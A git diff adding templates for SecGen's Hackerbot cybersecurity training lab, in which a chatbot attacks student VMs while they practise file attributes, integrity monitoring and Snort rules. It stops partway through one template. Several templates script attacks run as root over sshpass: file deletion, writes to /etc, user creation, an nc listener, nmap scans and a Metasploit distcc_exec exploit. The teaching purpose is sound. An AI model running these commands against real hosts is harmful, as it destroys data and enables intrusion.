a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_2.xml.erb new file mode 100644 index 000000000..468dedb29 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_2.xml.erb @@ -0,0 +1,29 @@ + + +<% $log_file = $log_files.sample %> + + An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes. + + rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $? + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + Permission denied + :( You did protect the file, but not using file attributes. + + + 0 + :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_3.xml.erb new file mode 100644 index 000000000..cbf73f007 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_3.xml.erb @@ -0,0 +1,24 @@ + + +<% $log_file = $log_files.first %> + + An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only. + + echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'appended!' >> /home/<%= $main_user %>/<%= $log_file %>; tail -n2 /home/<%= $main_user %>/<%= $log_file %>; echo $? + + appended! + :( You stopped anything from being appended to the file. What kind of log file do you think this is? + + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_4.xml.erb new file mode 100644 index 000000000..1a091f868 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_4.xml.erb @@ -0,0 +1,21 @@ + + + + An attempt to edit a file in /etc/ is coming. Stop the attack by bind mounting /etc/ as read-only. (Don't forget to 'sudo umount /etc/' to reverse this after you complete this challenge!) + + echo 'not read only!' > /etc/you_were_hacked; adduser --disabled-password --gecos "" yourehacked + + Read-only file system + :) Well done! <%= $flags.pop %> + + + + Permission denied|Operation not permitted + :( You stopped the attack, but not by using read only bind mounting... + + + :( Something was not right... + + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack1.xml.erb new file mode 100644 index 000000000..3a9328319 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack1.xml.erb @@ -0,0 +1,36 @@ + + +<% $random_user = 'user' + SecureRandom.hex(3) %> + + An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd to /home/<%= $main_user %>/backups/passwd. + + rm /etc/.pwd.lock; sudo adduser <%= $random_user %> --gecos '<%= $random_user %>' --disabled-password --quiet; echo $? + + + returned error code + :( Couldn't add a user -- make sure /etc/ is not still read-only mounted!. + + + 0 + User added + + + + already exists + :( Remove the user and try again. + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Now after the attack, find the username added by diffing using a backup. What username was created? + ^<%= $random_user %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack2.xml.erb new file mode 100644 index 000000000..058a60b83 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack2.xml.erb @@ -0,0 +1,20 @@ + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /etc/ + A flag has been inserted into a random file in /etc/. Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /etc/ + + + :( Something was not right... We are trying to write to /etc/ + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack3.xml.erb new file mode 100644 index 000000000..7826a066a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack3.xml.erb @@ -0,0 +1,19 @@ + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /home/<%= $main_user %>/backups/etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /home/<%= $main_user %>/backups/ + A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + + :( Something was not right... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack4.xml.erb new file mode 100644 index 000000000..4b1144145 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack4.xml.erb @@ -0,0 +1,27 @@ + + +<% $random = SecureRandom.hex %> + + Creating a new file in /home/<%= $main_user %>/... Let it happen. + + echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $? + + 0 + Created /home/<%= $main_user %>/something_secret + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the SHA1 hash of /home/<%= $main_user %>/something_secret? + ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack5.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack5.xml.erb new file mode 100644 index 000000000..376c76d4b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack5.xml.erb @@ -0,0 +1,26 @@ + + + Going to create a new file in /etc/, use hash comparisons to detect which new file changes. + x=`find /etc/ -type d | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX" + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack6.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack6.xml.erb new file mode 100644 index 000000000..1ae0a2373 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack6.xml.erb @@ -0,0 +1,26 @@ + + + Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file. + srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack7.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack7.xml.erb new file mode 100644 index 000000000..6cb8178b2 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack7.xml.erb @@ -0,0 +1,27 @@ + + + + Going to copy a new random file in /etc/ use hash comparisons to find the filename. + srcf=`find /etc/ -type f | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/intro.md.erb new file mode 100644 index 000000000..59b1e3048 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/intro.md.erb @@ -0,0 +1,119 @@ +# Hacker vs Hackerbot 2 + +## Troubleshooting with oVirt during the test + +In the unlikely event you experience technical issues with our infrastructure during the test, please keep the following in mind. + +* If your Snort alert file fills with "BAD TRAFFIC" alerts, let us know asap and we can fix that for you by changing the network interface type. + +* If copy and paste stops working, simply copy your flags to a text file rather than the submission site, and let us know when you finish the test so we can help you submit these before you leave. + +* If a VM looses its IP addresses (particularly the IDS server), simply run `sudo ifconfig eth1 *IP_ADDRESS*`, where `*IP_ADDRESS*` is the expected IP address (listed in the section below). + +* If you experience any technical issues, which you believe to be outside your control, let us know before you leave the room. However, keep in mind we won't give hints for the actual test challenges. + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- ids_server (IP address: <%= $ids_server_ip %>) +- web_server (IP address: <%= $web_server_ip %>) +- desktop + +All of these VMs need to be running to complete the lab. + +### Your login details for the "desktop" and "backup_server" VMs +User: <%= $main_user %> +Password: <%= $main_password %> +(You can copy-paste this password!) + +You won't login to the hackerbot_server, but all the VMs need to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to complete tasks and will attack your systems. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +--- + +Some commands you may find useful include: +* `rsync` +* `chattr` +* `lsattr` +* `chmod` +* `hashdeep` +* `shasum` +* `mount` +* `umount` +* `diff` +* `tcpdump` +* `wireshark` +* `kdesudo` +* `ssh` +* `snort` +* `sudo service snort stop` +* `sudo service snort start` +* `netstat` +* `ps` +* `lsof` +* `top` + +Remember you can learn more about the commands by running: +```bash +man *command* +``` + +## Getting Snort up and running + +**On the ids_server VM:** + +==Change Snort's output== to something more readable: + +```bash +sudo vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, + +> ":wq" to write changes and quit) + +==Add the following lines:== +`output alert_fast` + +`include $RULE_PATH/my.rules` + +==Create a new rules file:== + +```bash +sudo touch /etc/snort/rules/my.rules +``` + +Let us edit the rules file without sudo: + +```bash +sudo chown <%= $main_user %> /etc/snort/rules/my.rules +``` + +==Change Snort's interface== to the interface with IP address <%= $ids_server_ip %> (likely eth1), and set the local network to your IP address range (or "any"): + +```bash +sudo vi /etc/snort/snort.debian.conf +``` +> If you are not sure which interface to use, list the interfaces with `ifconfig` or `ip a s` +> Set the interface and HOME network range, and exit vi (Esc, ":wq"). + +==Restart Snort:== + +```bash +sudo service snort stop +sudo service snort start +``` +> Using "reload" or "restart" may not update the interface. + +Snort should now be running, monitoring network traffic for activity. + +### Good luck! \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/lab.xml.erb new file mode 100644 index 000000000..fe8b20743 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/lab.xml.erb @@ -0,0 +1,170 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $main_password = $first_account['password'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $web_server_ip = self.web_server_ip.first + $ids_server_ip = self.ids_server_ip.first + $backup_server_ip = self.backup_server_ip.first + $desktop_ip = self.desktop_ip.first + $hackerbot_server_ip = self.hackerbot_server_ip.first + $root_password = self.root_password + $flags = self.flags + + $sensitive_files_location = "/home/#{$main_user}/trade_secrets/" + + REQUIRED_FLAGS = 10 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +-%> + + + + + + Hackerbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + + + + You are about to be attacked! + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Doing my thing... + Here we go... + ... + .... + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + HvHB1 + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + + +<% + $permission_attacks = ['file_perms_attack_1.xml.erb', 'file_perms_attack_2.xml.erb', 'file_perms_attack_3.xml.erb', 'file_perms_attack_4.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $permission_attacks.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $permission_attacks.pop ).result(self.get_binding) %> + + +<% + $integrity_attacks = ['integrity_attack1.xml.erb', 'integrity_attack2.xml.erb', 'integrity_attack3.xml.erb', 'integrity_attack4.xml.erb', 'integrity_attack5.xml.erb', 'integrity_attack6.xml.erb', 'integrity_attack7.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %> + + +<%= ERB.new(File.read self.templates_path + 'backups_rsync_steps_attacks.xml.erb' ).result(self.get_binding) %> + + + +<% + $network_monitoring = ['network_monitoring_1.xml.erb', 'network_monitoring_2.xml.erb', 'network_monitoring_3.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $network_monitoring.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $network_monitoring.pop ).result(self.get_binding) %> + + +<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %> + + +<% + $snort_rules = ['snort_rule_1.xml.erb', 'snort_rule_2.xml.erb', 'snort_rule_3.xml.erb', 'snort_rule_4.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $snort_rules.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $snort_rules.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $snort_rules.pop ).result(self.get_binding) %> + + +<% + $snort_exfil_rules = ['exfiltration_rule_1.xml.erb', 'exfiltration_rule_2.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $snort_exfil_rules.pop ).result(self.get_binding) %> + + +<%= ERB.new(File.read self.templates_path + 'live_analysis_1.xml.erb' ).result(self.get_binding) %> + + +
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/labsheet.html.erb new file mode 100644 index 000000000..f2305ec1c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/live_analysis_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/live_analysis_1.xml.erb new file mode 100644 index 000000000..3d8f97209 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/live_analysis_1.xml.erb @@ -0,0 +1,30 @@ + +<% $rand_port_live = rand(65535) %> + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'setsid nc -l -p <%= $rand_port_live %> &' & sleep 4; killall -9 ssh; echo 'OK' + + false + + + About to do something to your web server, let it happen... + + + OK + Ok, answer this. + + + + OK.. + Ok, answer this. + + + + Ok... + + + + What port has just been opened by a process on your web server? + <%= $rand_port_live %> + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_1.xml.erb new file mode 100644 index 000000000..11d99199d --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_1.xml.erb @@ -0,0 +1,22 @@ + +<% $rand1 = SecureRandom.hex(2) %> + curl -v -H 'Something-worth-noting: <%= $rand1 %>:<%= $flags.pop %>' <%= $web_server_ip %> > /dev/null; echo $? + false + + + #1 Monitor the network traffic using Tcpdump or Wireshark, and look out for a string starting with "<%= $rand1 %>". + + + 0 + Hope you found the flag! Moving on... + true + + + 1 + :( Failed to talk to the web server (<%= $web_server_ip %>) + + + Ok, next up... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_2.xml.erb new file mode 100644 index 000000000..bf34a9572 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_2.xml.erb @@ -0,0 +1,20 @@ + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + whoami > /dev/null; echo "<%= $flags.pop %>" > /dev/null; echo 'Find the flag! (in the network traffic)' + + Your webserver is about to be scanned/attacked. Use Tcpdump and/or Wireshark to view the behaviour of the attacker. There is a flag to be found over the wire. + + + Find the flag + Hope you caught that. + + + + 1 + :( Failed to contact the web server (<%= $web_server_ip %>) + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_3.xml.erb new file mode 100644 index 000000000..5f78fe0ed --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_3.xml.erb @@ -0,0 +1,25 @@ + +<% $rand_port = rand(65535) %> + nmap -p <%= $rand_port %> {{chat_ip_address}} > /dev/null; echo $? + false + + + Monitor the network traffic, and look out for attempts to scan your desktop VM. You need to identify what port the connection attempt is to. + + + 0 + Hope you found the port number. + + + + 1 + :( Failed to scan + + + + Now after the attack, what port number was scanned? + ^<%= $rand_port %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/random_service_ids_rule.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/random_service_ids_rule.xml.erb new file mode 100644 index 000000000..75d590e25 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/random_service_ids_rule.xml.erb @@ -0,0 +1,31 @@ + +<% $services = {'FTP'=>'20','Telnet'=>'23','SMTP'=>'25','HTTP'=>'80','POP3'=>'110','IMAP'=>'143','SNMP'=>'161','LDAP'=>'389','HTTPS'=>'443','LDAPS'=>'636'} + $rand_service1 = $services.keys.sample + $rand_alert3 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 1000,<%= $services[$rand_service1] %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -u /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any TCP connection attempt to <%= $rand_service1 %> (just the connection attempt, does not require content inspection) on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert3 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to scan your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + <%= $rand_alert3 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_1.xml.erb new file mode 100644 index 000000000..af3db0e3c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_1.xml.erb @@ -0,0 +1,34 @@ + +<% $rand_port = rand(65535) + $rand_alert1 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p <%= $rand_port - 1 %>-<%= $rand_port + 1 %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any TCP connection attempt to TCP port <%= $rand_port %> to <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert1 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to scan your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + ^--00.*<%= $rand_alert1 %>.*<%= $rand_alert1 %> + :( Almost. The alert did fire, but it fired more than once! + + + <%= $rand_alert1 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_2.xml.erb new file mode 100644 index 000000000..6b6e21efe --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_2.xml.erb @@ -0,0 +1,26 @@ + +<% $rand_content1 = SecureRandom.hex(3) + $rand_alert2 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; (sleep 1; echo "USER <%= $rand_content1 %>"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110 > /dev/null; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110 > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any packet with the contents "<%= $rand_content1 %>" to <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert2 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--0.*<%= $rand_alert2 %>.*<%= $rand_alert2 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + ^--0.*<%= $rand_alert2 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3.xml.erb new file mode 100644 index 000000000..3962212f0 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3.xml.erb @@ -0,0 +1,33 @@ + + +<% $rand_alert4 = SecureRandom.hex(3) +%> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 110 <%= $web_server_ip %> > /dev/null; (sleep 1; echo "USER <%= $main_user %>"; echo "PASS <%= $main_user_pass %>"; echo "STAT"; echo "QUIT"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any unencrypted POP3 email *user authentication attempt* (someone trying to log in), to a mail server on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert4 %>". Up to three flags will be awarded, based on the quality of the rule. + + + ^--1 + :( Failed to scp to your system. + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + 8-) Well done! <%= $flags.pop %>. + + + + ^--0.*<%= $rand_alert4 %> + :( The alert did get triggered, but it fired only under some conditions. Is your rule caps sensitive? + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3__3flags.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3__3flags.xml.erb new file mode 100644 index 000000000..88db7b668 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3__3flags.xml.erb @@ -0,0 +1,42 @@ + + +<% $rand_alert4 = SecureRandom.hex(3) + $flag1 = $flags.pop + $flag2 = $flags.pop + $flag3 